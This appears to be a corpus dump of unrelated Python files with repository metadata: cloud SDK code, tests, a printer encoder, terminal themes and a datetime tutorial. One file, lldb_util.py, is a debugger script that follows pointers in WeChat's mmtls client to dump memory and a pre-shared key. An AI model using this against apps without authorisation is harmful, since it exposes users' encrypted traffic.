def _wait_for_resource_creation(self) -> None: """Wait until underlying resource is created. Currently this should only be used on subclasses that implement the construct then `run` pattern because the underlying sync=False implementation will not update downstream resource noun object's _gca_resource until the entire invoked method is complete. Ex: job = CustomTrainingJob() job.run(sync=False, ...) job._wait_for_resource_creation() Raises: RuntimeError: If the resource has not been scheduled to be created. """ # If the user calls this but didn't actually invoke an API to create if self._are_futures_done() and not getattr(self._gca_resource, "name", None): self._raise_future_exception() raise RuntimeError( f"{self.__class__.__name__} resource is not scheduled to be created." ) while not getattr(self._gca_resource, "name", None): # breaks out of loop if creation has failed async if self._are_futures_done() and not getattr( self._gca_resource, "name", None ): self._raise_future_exception() time.sleep(1) def _assert_gca_resource_is_available(self) -> None: """Helper method to raise when accessing properties that do not exist. Overrides VertexAiResourceNoun to provide a more informative exception if resource creation has failed asynchronously. Raises: RuntimeError: When resource has not been created. """ if not getattr(self._gca_resource, "name", None): raise RuntimeError( f"{self.__class__.__name__} resource has not been created." + ( f" Resource failed with: {self._exception}" if self._exception else "" ) ) def get_annotation_class(annotation: type) -> type: """Helper method to retrieve type annotation. Args: annotation (type): Type hint """ # typing.Optional if getattr(annotation, "__origin__", None) is Union: return annotation.__args__[0] else: return annotation class DoneMixin(abc.ABC): """An abstract class for implementing a done method, indicating whether a job has completed. """ @abc.abstractmethod def done(self) -> bool: """Method indicating whether a job has completed.""" pass class StatefulResource(DoneMixin): """Extends DoneMixin to check whether a job returning a stateful resource has compted.""" @property @abc.abstractmethod def state(self): """The current state of the job.""" pass @property @classmethod @abc.abstractmethod def _valid_done_states(cls): """A set() containing all job states associated with a completed job.""" pass def done(self) -> bool: """Method indicating whether a job has completed. Returns: True if the job has completed. """ if self.state in self._valid_done_states: return True else: return False class VertexAiStatefulResource(VertexAiResourceNounWithFutureManager, StatefulResource): """Extends StatefulResource to include a check for self._gca_resource.""" def done(self) -> bool: """Method indicating whether a job has completed. Returns: True if the job has completed. """ if self._gca_resource and self._gca_resource.name: return super().done() else: return False

36.435897

119

0.620946

ace8e8bcb8dee4ce0aaedf2d3b0bac705ea45f57

1,497

py

Python

tests/integration/goldens/redis/samples/generated_samples/redis_generated_redis_v1_cloud_redis_delete_instance_sync.py

LaudateCorpus1/gapic-generator-python

4f4ad394374326a74ceefd2c37c54e228d74ba8d

[ "Apache-2.0" ]

null

tests/integration/goldens/redis/samples/generated_samples/redis_generated_redis_v1_cloud_redis_delete_instance_sync.py

LaudateCorpus1/gapic-generator-python

4f4ad394374326a74ceefd2c37c54e228d74ba8d

[ "Apache-2.0" ]

null

tests/integration/goldens/redis/samples/generated_samples/redis_generated_redis_v1_cloud_redis_delete_instance_sync.py

LaudateCorpus1/gapic-generator-python

4f4ad394374326a74ceefd2c37c54e228d74ba8d

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Generated code. DO NOT EDIT! # # Snippet for DeleteInstance # NOTE: This snippet has been automatically generated for illustrative purposes only. # It may require modifications to work in your environment. # To install the latest published package dependency, execute the following: # python3 -m pip install google-cloud-redis # [START redis_generated_redis_v1_CloudRedis_DeleteInstance_sync] from google.cloud import redis_v1 def sample_delete_instance(): # Create a client client = redis_v1.CloudRedisClient() # Initialize request argument(s) request = redis_v1.DeleteInstanceRequest( name="name_value", ) # Make the request operation = client.delete_instance(request=request) print("Waiting for operation to complete...") response = operation.result() print(response) # [END redis_generated_redis_v1_CloudRedis_DeleteInstance_sync]

31.1875

85

0.754175

ace8e8e0678408016867b9b19a5f87836e007d8c

1,197

py

Python

get_challenge.py

z-Wind/Python_Challenge

be91ed491be57a1b9bf4b6d6bcb8ca23f48ef81b

[ "MIT" ]

null

get_challenge.py

z-Wind/Python_Challenge

be91ed491be57a1b9bf4b6d6bcb8ca23f48ef81b

[ "MIT" ]

null

get_challenge.py

z-Wind/Python_Challenge

be91ed491be57a1b9bf4b6d6bcb8ca23f48ef81b

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- """docstring with a description""" __author__ = "子風" __copyright__ = "Copyright 2015, Sun All rights reserved" __version__ = "1.0.0" import urllib.request from io import BytesIO def opener(username, password): # User Name & Password password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm() top_level_url = 'http://www.pythonchallenge.com/' password_mgr.add_password(None, top_level_url, username, password) handler = urllib.request.HTTPBasicAuthHandler(password_mgr) # Proxy setting proxy = urllib.request.getproxies() proxy_support = urllib.request.ProxyHandler({'sock5': proxy.get('http')}) # opener setting return urllib.request.build_opener(proxy_support, handler) def download(url, username, password): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0", "Accept-Language": "zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3", } req = urllib.request.Request(url, headers=headers) bros = opener(username, password) data = BytesIO(bros.open(req).read()) bros.close() return data

29.925

91

0.670844

ace8e93def8c58b67790d0c4e8fee9f582f1dac4

3,371

py

Python

Lib/site-packages/pip/_vendor/rich/terminal_theme.py

edupyter/EDUPYTER38

396183cea72987506f1ef647c0272a2577c56218

[ "bzip2-1.0.6" ]

1

2022-02-25T13:46:54.000Z

Lib/site-packages/pip/_vendor/rich/terminal_theme.py

edupyter/EDUPYTER38

396183cea72987506f1ef647c0272a2577c56218

[ "bzip2-1.0.6" ]

1

2022-01-27T19:09:25.000Z

Lib/site-packages/pip/_vendor/rich/terminal_theme.py

edupyter/EDUPYTER38

396183cea72987506f1ef647c0272a2577c56218

[ "bzip2-1.0.6" ]

1

2021-09-27T11:14:58.000Z

from typing import List, Optional, Tuple from .color_triplet import ColorTriplet from .palette import Palette _ColorTuple = Tuple[int, int, int] class TerminalTheme: """A color theme used when exporting console content. Args: background (Tuple[int, int, int]): The background color. foreground (Tuple[int, int, int]): The foreground (text) color. normal (List[Tuple[int, int, int]]): A list of 8 normal intensity colors. bright (List[Tuple[int, int, int]], optional): A list of 8 bright colors, or None to repeat normal intensity. Defaults to None. """ def __init__( self, background: _ColorTuple, foreground: _ColorTuple, normal: List[_ColorTuple], bright: Optional[List[_ColorTuple]] = None, ) -> None: self.background_color = ColorTriplet(*background) self.foreground_color = ColorTriplet(*foreground) self.ansi_colors = Palette(normal + (bright or normal)) DEFAULT_TERMINAL_THEME = TerminalTheme( (255, 255, 255), (0, 0, 0), [ (0, 0, 0), (128, 0, 0), (0, 128, 0), (128, 128, 0), (0, 0, 128), (128, 0, 128), (0, 128, 128), (192, 192, 192), ], [ (128, 128, 128), (255, 0, 0), (0, 255, 0), (255, 255, 0), (0, 0, 255), (255, 0, 255), (0, 255, 255), (255, 255, 255), ], ) SVG_EXPORT_THEME = TerminalTheme( (12, 12, 12), (242, 242, 242), [ (12, 12, 12), (205, 49, 49), (13, 188, 121), (229, 229, 16), (36, 114, 200), (188, 63, 188), (17, 168, 205), (229, 229, 229), ], [ (102, 102, 102), (241, 76, 76), (35, 209, 139), (245, 245, 67), (59, 142, 234), (214, 112, 214), (41, 184, 219), (229, 229, 229), ], ) MONOKAI = TerminalTheme( (12, 12, 12), (217, 217, 217), [ (26, 26, 26), (244, 0, 95), (152, 224, 36), (253, 151, 31), (157, 101, 255), (244, 0, 95), (88, 209, 235), (196, 197, 181), (98, 94, 76), ], [ (244, 0, 95), (152, 224, 36), (224, 213, 97), (157, 101, 255), (244, 0, 95), (88, 209, 235), (246, 246, 239), ], ) DIMMED_MONOKAI = TerminalTheme( (25, 25, 25), (185, 188, 186), [ (58, 61, 67), (190, 63, 72), (135, 154, 59), (197, 166, 53), (79, 118, 161), (133, 92, 141), (87, 143, 164), (185, 188, 186), (136, 137, 135), ], [ (251, 0, 31), (15, 114, 47), (196, 112, 51), (24, 109, 227), (251, 0, 103), (46, 112, 109), (253, 255, 185), ], ) NIGHT_OWLISH = TerminalTheme( (255, 255, 255), (64, 63, 83), [ (1, 22, 39), (211, 66, 62), (42, 162, 152), (218, 170, 1), (72, 118, 214), (64, 63, 83), (8, 145, 106), (122, 129, 129), (122, 129, 129), ], [ (247, 110, 110), (73, 208, 197), (218, 194, 107), (92, 167, 228), (105, 112, 152), (0, 201, 144), (152, 159, 177), ], )

21.88961

89

0.434589

ace8e9f238c65ad15827000043996c3d1790339a

5,835

py

Python

TreeOutputLib/OneTimestepOneFile/OneTimestepOneFile.py

jvollhueter/pyMANGA-1

414204a394d44405225b4b8224b19464c1006f1d

[ "MIT" ]

null

TreeOutputLib/OneTimestepOneFile/OneTimestepOneFile.py

jvollhueter/pyMANGA-1

414204a394d44405225b4b8224b19464c1006f1d

[ "MIT" ]

null

TreeOutputLib/OneTimestepOneFile/OneTimestepOneFile.py

jvollhueter/pyMANGA-1

414204a394d44405225b4b8224b19464c1006f1d

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @date: 2018-Today @author: jasper.bathmann@ufz.de """ from TreeOutputLib.TreeOutput import TreeOutput import os ## Output class. This class creates one file per timestep at a defined # location. A line containing time, position, desired geometric measures and # desired parameters is written at every nth timestep. class OneTimestepOneFile(TreeOutput): ## Constructor of dummy objects in order to drop output # @param args xml element parsed from project to this constructor. def __init__(self, args): ## Directory, where output is saved. Please make sure it exists and is # empty. self.output_dir = self.checkRequiredKey("output_dir", args) ## N-timesteps between two outputs self.output_each_nth_timestep = int( self.checkRequiredKey("output_each_nth_timestep", args)) ## Geometric measures included in output self.geometry_outputs = [] ## Parameters included in output self.parameter_outputs = [] ## Parameters included in output self.growth_outputs = [] ## Counter for output generation self._output_counter = 0 for key in args.iterchildren("geometry_output"): self.geometry_outputs.append(key.text.strip()) for key in args.iterchildren("parameter_output"): self.parameter_outputs.append(key.text.strip()) for key in args.iterchildren("growth_output"): self.growth_outputs.append(key.text.strip()) try: dir_files = len(os.listdir(self.output_dir)) except FileNotFoundError: raise FileNotFoundError( "[Errno 2] No such directory: '" + self.output_dir + "' as defined in the project file." + " Please make sure your output directory exists!") if dir_files > 0: raise ValueError("Output directory '" + self.output_dir + "' is not empty.") print( "Output to '" + self.output_dir + "' of tree positions, the " + "parameters ", self.parameter_outputs, " and geometric" + " measures ", self.geometry_outputs, " at every " + str(self.output_each_nth_timestep) + " timesteps initialized.") ## Writes output to predefined folder # For each timestep a file is created throughout the simulation. # This function is only able to work, if the output directory exists and # is empty at the begin of the model run def writeOutput(self, tree_groups, time): self._output_counter = (self._output_counter % self.output_each_nth_timestep) filename = ("Population_t_%012.1f" % (time) + ".csv") file = open(self.output_dir + filename, "w") string = "" string += "tree,\t time,\t x,\t y" for geometry_output in self.geometry_outputs: string += ",\t" + geometry_output for parameter_output in self.parameter_outputs: string += ",\t" + parameter_output for growth_output in self.growth_outputs: string += ",\t" + growth_output string += "\n" file.write(string) if self._output_counter == 0: for group_name, tree_group in tree_groups.items(): for tree in tree_group.getTrees(): growth_information = tree.getGrowthConceptInformation() string = "" string += (group_name + "_" + "%09.0d" % (tree.getId()) + ",\t" + str(time) + ",\t" + str(tree.x) + ",\t" + str(tree.y)) if (len(self.geometry_outputs) > 0): geometry = tree.getGeometry() for geometry_output in self.geometry_outputs: string += ",\t" + str(geometry[geometry_output]) if (len(self.parameter_outputs) > 0): parameter = tree.getParameter() for parameter_output in self.parameter_outputs: string += ",\t" + str(parameter[parameter_output]) if (len(growth_information) > 0): for growth_output_key in self.growth_outputs: try: string += ",\t" + str( growth_information[growth_output_key]) except KeyError: raise KeyError( "Key " + growth_output_key + " not available in growth concept!" + " Please read growth concept documentation." ) string += "\n" file.write(string) file.close() self._output_counter += 1 ## This function checks if a key exists and if its text content is empty. # Raises key-errors, if the key is not properly defined. # @param key Name of the key to be checked # @param args args parsed from project. Xml-element def checkRequiredKey(self, key, args): tmp = args.find(key) if tmp is None: raise KeyError("Required key '" + key + "' in project file at " + "position MangaProject__tree_output is missing.") elif tmp.text.strip() == "": raise KeyError("Key '" + key + "' in project file at position " + "MangaProject__tree_output needs to be specified.") return tmp.text ## This function returns the output directory def getOutputDir(self): return self.output_dir

47.439024

80

0.559554

ace8ea12a6607225be3bee0af7d953338a0dfe13

1,662

py

Python

tmxlib_test/test_helpers.py

logicplace/pytmxlib

fe615974e0ea74a6201a392381cbffdfb925bcc2

[ "MIT" ]

null

tmxlib_test/test_helpers.py

logicplace/pytmxlib

fe615974e0ea74a6201a392381cbffdfb925bcc2

[ "MIT" ]

null

tmxlib_test/test_helpers.py

logicplace/pytmxlib

fe615974e0ea74a6201a392381cbffdfb925bcc2

[ "MIT" ]

1

2020-07-08T07:51:43.000Z

from __future__ import division import pytest from tmxlib import helpers def test_from_dict_method(): class Cls(object): @helpers.from_dict_method def from_dict_pop(self, dct, expected): assert dct.pop('key') == expected return dct.pop('rv') @helpers.from_dict_method def from_dict_nopop(self, dct, expected): assert dct['key'] == expected obj = Cls() assert obj.from_dict_pop({'key': 1, 'rv': 2}, 1) == 2 with pytest.raises(ValueError): obj.from_dict_nopop({'key': 1, 'rv': 2}, 1) class NamedItem(str): @property def name(self): return self.lower() def test_named_elem_list(): lst = helpers.NamedElementList(NamedItem(x) for x in 'Abcda') assert list(lst) == ['A', 'b', 'c', 'd', 'a'] assert lst[0] == 'A' assert lst[1] == 'b' assert lst[-1] == 'a' assert lst['a'] == 'A' assert lst['b'] == 'b' assert lst['c'] == 'c' with pytest.raises(IndexError): lst[100] with pytest.raises(IndexError): lst[-100] with pytest.raises(KeyError): lst['z'] def test_empty_named_elem_list(): lst = helpers.NamedElementList() assert list(lst) == [] with pytest.raises(IndexError): lst[0] with pytest.raises(KeyError): lst['k'] def test_assert_item(): dct = {'key': 'value', 'key2': 'bad value'} helpers.assert_item(dct, 'key', 'value') assert list(dct.keys()) == ['key2'] with pytest.raises(KeyError): helpers.assert_item(dct, 'key', 'value') with pytest.raises(ValueError): helpers.assert_item(dct, 'key2', 'good value')

25.569231

65

0.592659

ace8ea2b3d33af2b1dd3df34fdcbd333f4ec4bca

10,809

py

Python

src/escpos/magicencode.py

cohorte/python-escpos

620cf97bbf411a4e0890f180adf62303a32852b5

[ "MIT" ]

683

2015-12-28T08:52:55.000Z

2022-03-30T18:28:33.000Z

src/escpos/magicencode.py

cohorte/python-escpos

620cf97bbf411a4e0890f180adf62303a32852b5

[ "MIT" ]

345

2015-12-23T20:56:12.000Z

2022-03-06T19:48:28.000Z

src/escpos/magicencode.py

cohorte/python-escpos

620cf97bbf411a4e0890f180adf62303a32852b5

[ "MIT" ]

243

2015-12-25T17:52:20.000Z

2022-03-30T00:10:50.000Z

#!/usr/bin/python # -*- coding: utf-8 -*- """ Magic Encode This module tries to convert an UTF-8 string to an encoded string for the printer. It uses trial and error in order to guess the right codepage. The code is based on the encoding-code in py-xml-escpos by @fvdsn. :author: `Patrick Kanzler <dev@pkanzler.de>`_ :organization: `python-escpos <https://github.com/python-escpos>`_ :copyright: Copyright (c) 2016 Patrick Kanzler and Frédéric van der Essen :license: MIT """ from builtins import bytes from .constants import CODEPAGE_CHANGE from .exceptions import Error from .codepages import CodePages import six class Encoder(object): """Takes a list of available code spaces. Picks the right one for a given character. Note: To determine the code page, it needs to do the conversion, and thus already knows what the final byte in the target encoding would be. Nevertheless, the API of this class doesn't return the byte. The caller use to do the character conversion itself. $ python -m timeit -s "{u'ö':'a'}.get(u'ö')" 100000000 loops, best of 3: 0.0133 usec per loop $ python -m timeit -s "u'ö'.encode('latin1')" 100000000 loops, best of 3: 0.0141 usec per loop """ def __init__(self, codepage_map): self.codepages = codepage_map self.available_encodings = set(codepage_map.keys()) self.available_characters = {} self.used_encodings = set() def get_sequence(self, encoding): return int(self.codepages[encoding]) def get_encoding_name(self, encoding): """Given an encoding provided by the user, will return a canonical encoding name; and also validate that the encoding is supported. TODO: Support encoding aliases: pc437 instead of cp437. """ encoding = CodePages.get_encoding_name(encoding) if encoding not in self.codepages: raise ValueError(( 'Encoding "{}" cannot be used for the current profile. ' 'Valid encodings are: {}' ).format(encoding, ','.join(self.codepages.keys()))) return encoding @staticmethod def _get_codepage_char_list(encoding): """Get codepage character list Gets characters 128-255 for a given code page, as an array. :param encoding: The name of the encoding. This must appear in the CodePage list """ codepage = CodePages.get_encoding(encoding) if 'data' in codepage: encodable_chars = list("".join(codepage['data'])) assert(len(encodable_chars) == 128) return encodable_chars elif 'python_encode' in codepage: encodable_chars = [u" "] * 128 for i in range(0, 128): codepoint = i + 128 try: encodable_chars[i] = bytes([codepoint]).decode(codepage['python_encode']) except UnicodeDecodeError: # Non-encodable character, just skip it pass return encodable_chars raise LookupError("Can't find a known encoding for {}".format(encoding)) def _get_codepage_char_map(self, encoding): """ Get codepage character map Process an encoding and return a map of UTF-characters to code points in this encoding. This is generated once only, and returned from a cache. :param encoding: The name of the encoding. """ # Skip things that were loaded previously if encoding in self.available_characters: return self.available_characters[encoding] codepage_char_list = self._get_codepage_char_list(encoding) codepage_char_map = dict((utf8, i + 128) for (i, utf8) in enumerate(codepage_char_list)) self.available_characters[encoding] = codepage_char_map return codepage_char_map def can_encode(self, encoding, char): """Determine if a character is encodeable in the given code page. :param encoding: The name of the encoding. :param char: The character to attempt to encode. """ available_map = {} try: available_map = self._get_codepage_char_map(encoding) except LookupError: return False # Decide whether this character is encodeable in this code page is_ascii = ord(char) < 128 is_encodable = char in available_map return is_ascii or is_encodable @staticmethod def _encode_char(char, charmap, defaultchar): """ Encode a single character with the given encoding map :param char: char to encode :param charmap: dictionary for mapping characters in this code page """ if ord(char) < 128: return ord(char) if char in charmap: return charmap[char] return ord(defaultchar) def encode(self, text, encoding, defaultchar='?'): """ Encode text under the given encoding :param text: Text to encode :param encoding: Encoding name to use (must be defined in capabilities) :param defaultchar: Fallback for non-encodable characters """ codepage_char_map = self._get_codepage_char_map(encoding) output_bytes = bytes([self._encode_char(char, codepage_char_map, defaultchar) for char in text]) return output_bytes def __encoding_sort_func(self, item): key, index = item return ( key in self.used_encodings, index ) def find_suitable_encoding(self, char): """The order of our search is a specific one: 1. code pages that we already tried before; there is a good chance they might work again, reducing the search space, and by re-using already used encodings we might also reduce the number of codepage change instructiosn we have to send. Still, any performance gains will presumably be fairly minor. 2. code pages in lower ESCPOS slots first. Presumably, they are more likely to be supported, so if a printer profile is missing or incomplete, we might increase our change that the code page we pick for this character is actually supported. """ sorted_encodings = sorted( self.codepages.items(), key=self.__encoding_sort_func) for encoding, _ in sorted_encodings: if self.can_encode(encoding, char): # This encoding worked; at it to the set of used ones. self.used_encodings.add(encoding) return encoding def split_writable_text(encoder, text, encoding): """Splits off as many characters from the begnning of text as are writable with "encoding". Returns a 2-tuple (writable, rest). """ if not encoding: return None, text for idx, char in enumerate(text): if encoder.can_encode(encoding, char): continue return text[:idx], text[idx:] return text, None class MagicEncode(object): """A helper that helps us to automatically switch to the right code page to encode any given Unicode character. This will consider the printers supported codepages, according to the printer profile, and if a character cannot be encoded with the current profile, it will attempt to find a suitable one. If the printer does not support a suitable code page, it can insert an error character. """ def __init__(self, driver, encoding=None, disabled=False, defaultsymbol='?', encoder=None): """ :param driver: :param encoding: If you know the current encoding of the printer when initializing this class, set it here. If the current encoding is unknown, the first character emitted will be a codepage switch. :param disabled: :param defaultsymbol: :param encoder: """ if disabled and not encoding: raise Error('If you disable magic encode, you need to define an encoding!') self.driver = driver self.encoder = encoder or Encoder(driver.profile.get_code_pages()) self.encoding = self.encoder.get_encoding_name(encoding) if encoding else None self.defaultsymbol = defaultsymbol self.disabled = disabled def force_encoding(self, encoding): """Sets a fixed encoding. The change is emitted right away. From now one, this buffer will switch the code page anymore. However, it will still keep track of the current code page. """ if not encoding: self.disabled = False else: self.write_with_encoding(encoding, None) self.disabled = True def write(self, text): """Write the text, automatically switching encodings. """ if self.disabled: self.write_with_encoding(self.encoding, text) return # See how far we can go into the text with the current encoding to_write, text = split_writable_text(self.encoder, text, self.encoding) if to_write: self.write_with_encoding(self.encoding, to_write) while text: # See if any of the code pages that the printer profile # supports can encode this character. encoding = self.encoder.find_suitable_encoding(text[0]) if not encoding: self._handle_character_failed(text[0]) text = text[1:] continue # Write as much text as possible with the encoding found. to_write, text = split_writable_text(self.encoder, text, encoding) if to_write: self.write_with_encoding(encoding, to_write) def _handle_character_failed(self, char): """Called when no codepage was found to render a character. """ # Writing the default symbol via write() allows us to avoid # unnecesary codepage switches. self.write(self.defaultsymbol) def write_with_encoding(self, encoding, text): if text is not None and type(text) is not six.text_type: raise Error("The supplied text has to be unicode, but is of type {type}.".format( type=type(text) )) # We always know the current code page; if the new codepage # is different, emit a change command. if encoding != self.encoding: self.encoding = encoding self.driver._raw( CODEPAGE_CHANGE + six.int2byte(self.encoder.get_sequence(encoding))) if text: self.driver._raw(self.encoder.encode(text, encoding))

36.890785

104

0.636414

ace8eb2dd7db355983230e8f6a72f67ac8db2f8f

6,443

py

Python

util/lldb_util.py

Dorllen/AssemMocker

cd85ffc4076cc9e82af159924758ab89da1d7e71

[ "MIT" ]

null

util/lldb_util.py

Dorllen/AssemMocker

cd85ffc4076cc9e82af159924758ab89da1d7e71

[ "MIT" ]

null

util/lldb_util.py

Dorllen/AssemMocker

cd85ffc4076cc9e82af159924758ab89da1d7e71

[ "MIT" ]

null

import lldb import re base_save_path = None # "simple/dy/lldb_result" assert base_save_path, "提示：请设置文件保存路径" max_loop = 2 def dump_function(debugger, command, result, internal_dict): interpreter = lldb.debugger.GetCommandInterpreter() return_object = lldb.SBCommandReturnObject() # 用来保存结果 interpreter.HandleCommand('dis', return_object) # 执行dis命令 output = return_object.GetOutput() #获取反汇编后的结果 result = re.findall("unnamed_(symbol.+\\$\\$[a-zA-z]+)", output) command = command or result[0] command = command.strip() print("dump functions:", command) file_path = f"{base_save_path}/lldb_func_{command}.txt" with open(file_path, "w") as f: f.write(output.replace("[33m", "").replace("[0m", "")) print("save to:", file_path) def dump_registers(debugger, command, result, internal_dict): interpreter = lldb.debugger.GetCommandInterpreter() return_object = lldb.SBCommandReturnObject() # 用来保存结果 interpreter.HandleCommand('register read', return_object) # 执行dis命令 output = return_object.GetOutput() #获取反汇编后的结果 print("dump registers") file_path = f"{base_save_path}/lldb_registers.txt" with open(file_path, "w") as f: f.write(output) print("save to:", file_path) def dump_mems(debugger, command, result, internal_dict): print("dump mems:", command) if not command: return interpreter = lldb.debugger.GetCommandInterpreter() return_object = lldb.SBCommandReturnObject() # 用来保存结果 count = 4096 commands = command.strip().split(" ") addr = commands[0] if len(commands) > 1: count = commands[1] print(f'memory read -c {count} --force {addr}') interpreter.HandleCommand(f'memory read -c {count} --force {addr}', return_object) output = return_object.GetOutput() file_path = f"{base_save_path}/lldb_mem_{addr}.txt" with open(file_path, "w") as f: f.write(output.encode("unicode_escape").decode().replace("\\n", "\n")) print("save to:", file_path) def dump_ext_registers(debugger, command, result, internal_dict): interpreter = lldb.debugger.GetCommandInterpreter() return_object = lldb.SBCommandReturnObject() # 用来保存结果 text = "" for i in range(0, 32): interpreter.HandleCommand(f'register read q{i}', return_object) output = return_object.GetOutput() text += output.encode("unicode_escape").decode() print("dump registers ext") file_path = f"{base_save_path}/lldb_ext_registers.txt" with open(file_path, "w") as f: f.write(text) print("save to:", file_path) def dump_line(debugger, command, result, internal_dict): interpreter = lldb.debugger.GetCommandInterpreter() return_object = lldb.SBCommandReturnObject() # 用来保存结果 interpreter.HandleCommand(f'disassemble -p -c 1', return_object) output = return_object.GetOutput() result = re.findall("unnamed_(symbol.+)\\$\\$[a-zA-z]+", output) file_path = f"{base_save_path}/lldb_codes_{result[0]}.txt" with open(file_path, "a") as f: lines = output.split("\n") f.write(lines[1].encode("unicode_escape").decode() + "\n") debugger.HandleCommand("n") def get_command_out(_command): interpreter = lldb.debugger.GetCommandInterpreter() return_object = lldb.SBCommandReturnObject() interpreter.HandleCommand(_command, return_object) return return_object.GetOutput().strip() def read_ptr_value(addr): output = get_command_out(f"memory read/gx {addr}") return output.split(": ")[-1] def read_register_value(r): output = get_command_out(f"po/x {r}") return output.split(": ")[-1] def read_mem_from_ptr(debugger, command, result, internal_dict): args = command.split(" ") addr = args[0] if len(args) > 1: mem_size = args[1] else: mem_size = 64 output = read_ptr_value(addr) _command = f"memory read -c {mem_size} {output}" print("_command:", _command) debugger.HandleCommand(_command) def read_mem_by_easy(debugger, command, result, internal_dict): args = command.split(" ") addr = args[0] if len(args) > 1: mem_size = args[1] else: mem_size = 64 _command = f"memory read -c {mem_size} {addr}" print("_command:", _command) debugger.HandleCommand(_command) ##### 定制化处理部分 ########### def wechat_test_for_mem(debugger, command, result, internal_dict): # mmtls:Init 0x26D094 位置处 x0 = read_register_value("$x19") x19_value = int(x0, 16) x19_0x60 = x19_value + 0x60 _ = read_ptr_value(x19_0x60) print("read request body addr: (focus on +0x20)") _command = f"memory read -c 64 {_}" print(_command) lldb.debugger.HandleCommand(_command) print("\nread psk:") # *(*(*(x19 + 0xb8) + 8) + 0x28) _ = read_ptr_value(x19_value + 0xb8) # print("_:", _, hex(x19_value)) _ = read_ptr_value(int(_, 16) + 8) print("_:", _) psk_addr = read_ptr_value(int(_, 16) + 0x28) print("_:", psk_addr) _command = f"memory read -c 0x94 {psk_addr}" lldb.debugger.HandleCommand(_command) def wechat_test_for_b0(debugger, command, result, internal_dict): # mmtls::ClientChannel::WriteMsgToSendBuffer 0x26EF64 位置处 x0 = read_register_value("$x0") # *(*(*(x0 + 0x8 + 0x10) + 0x28) + 0x8) _ = read_ptr_value(int(x0, 16) + 0x8 + 0x10) _ = read_ptr_value(int(_, 16) + 0x28) _ = read_ptr_value(int(_, 16) + 0x8) _command = f"memory read -c 0x64 {_}" print("_command:", _command) lldb.debugger.HandleCommand(_command) # command script import xxx/lldb_util.py def __lldb_init_module(debugger, internal_dict): # 当采用加载脚本时会调用该方法 debugger.HandleCommand('command script add -f lldb_util.dump_function dumpF') debugger.HandleCommand('command script add -f lldb_util.dump_mems dumpM') debugger.HandleCommand('command script add -f lldb_util.dump_registers dumpR') debugger.HandleCommand('command script add -f lldb_util.dump_ext_registers dumpR2') debugger.HandleCommand('command script add -f lldb_util.dump_line dumpL') debugger.HandleCommand('command script add -f lldb_util.read_mem_from_ptr readPtr') debugger.HandleCommand('command script add -f lldb_util.read_mem_by_easy measy') debugger.HandleCommand('command script add -f lldb_util.wechat_test_for_mem wechat_x19') debugger.HandleCommand('command script add -f lldb_util.wechat_test_for_b0 wechat_b0')

35.994413

92

0.683998

ace8eb35e65e704dc42a6fb7dbb8c125b9d229b9

1,355

py

Python

Curso/paquete/44_ManejoFechas_datatime.py

jsalmoralp/Python-Proyecto-Apuntes

cf4265e08e947aca1dbe9ec4ed1dfb7cb10e9309

[ "MIT" ]

null

Curso/paquete/44_ManejoFechas_datatime.py

jsalmoralp/Python-Proyecto-Apuntes

cf4265e08e947aca1dbe9ec4ed1dfb7cb10e9309

[ "MIT" ]

null

Curso/paquete/44_ManejoFechas_datatime.py

jsalmoralp/Python-Proyecto-Apuntes

cf4265e08e947aca1dbe9ec4ed1dfb7cb10e9309

[ "MIT" ]

null

import datetime # from datetime import datetime fecha_actual = datetime.datetime.now() # fechaActual = datetime.now() # Esto con el segudo import print(fecha_actual) fecha_premake = datetime.datetime(2020, 11, 5) print(fecha_premake) fecha_premake2 = datetime.datetime(2020, 11, 5, 10, 35, 21) print(fecha_premake2) fecha_personalizada = datetime.datetime.strftime(fecha_actual, '%d/%m/%Y %H:%M:%S') print(fecha_personalizada) fecha_personalizada2 = datetime.datetime.strftime(fecha_actual, '%b %d %Y %H:%M:%S') print(fecha_personalizada2) # https://strftime.org/ fecha_texto = 'Dec 06 2020 12:56:11' fecha_a_formato_datetime = datetime.datetime.strptime(fecha_texto, '%b %d %Y %H:%M:%S') print(fecha_a_formato_datetime) dia = datetime.datetime.strftime(fecha_actual, '%d') print(dia) dia_en_int = int(datetime.datetime.strftime(fecha_actual, '%d')) print(dia_en_int) hora_actual = datetime.datetime.strftime(fecha_actual, '%H:%M:%S') print(hora_actual) fecha_pasada = datetime.datetime(2020, 10, 23) diferencia = fecha_actual - fecha_pasada print(diferencia) print(diferencia.days) print(diferencia.total_seconds()) dia_delta = datetime.timedelta(days=-5) fecha_inicial = datetime.date.today() print(fecha_inicial) fechaFutura = fecha_inicial + dia_delta print(fechaFutura) fecha_iso = datetime.datetime.now().isoformat() print(fecha_iso)

27.1

87

0.771218

ace8ec1a3bb80d245beae574fe3211e8f7edb1b7

3,979

py

Python

topk/polynomial/sp.py

afansi/smooth-topk

d115b66f19489e2c8b572efabd6d947dc4e54a3c

[ "MIT" ]

null

topk/polynomial/sp.py

afansi/smooth-topk

d115b66f19489e2c8b572efabd6d947dc4e54a3c

[ "MIT" ]

null

topk/polynomial/sp.py

afansi/smooth-topk

d115b66f19489e2c8b572efabd6d947dc4e54a3c

[ "MIT" ]

null

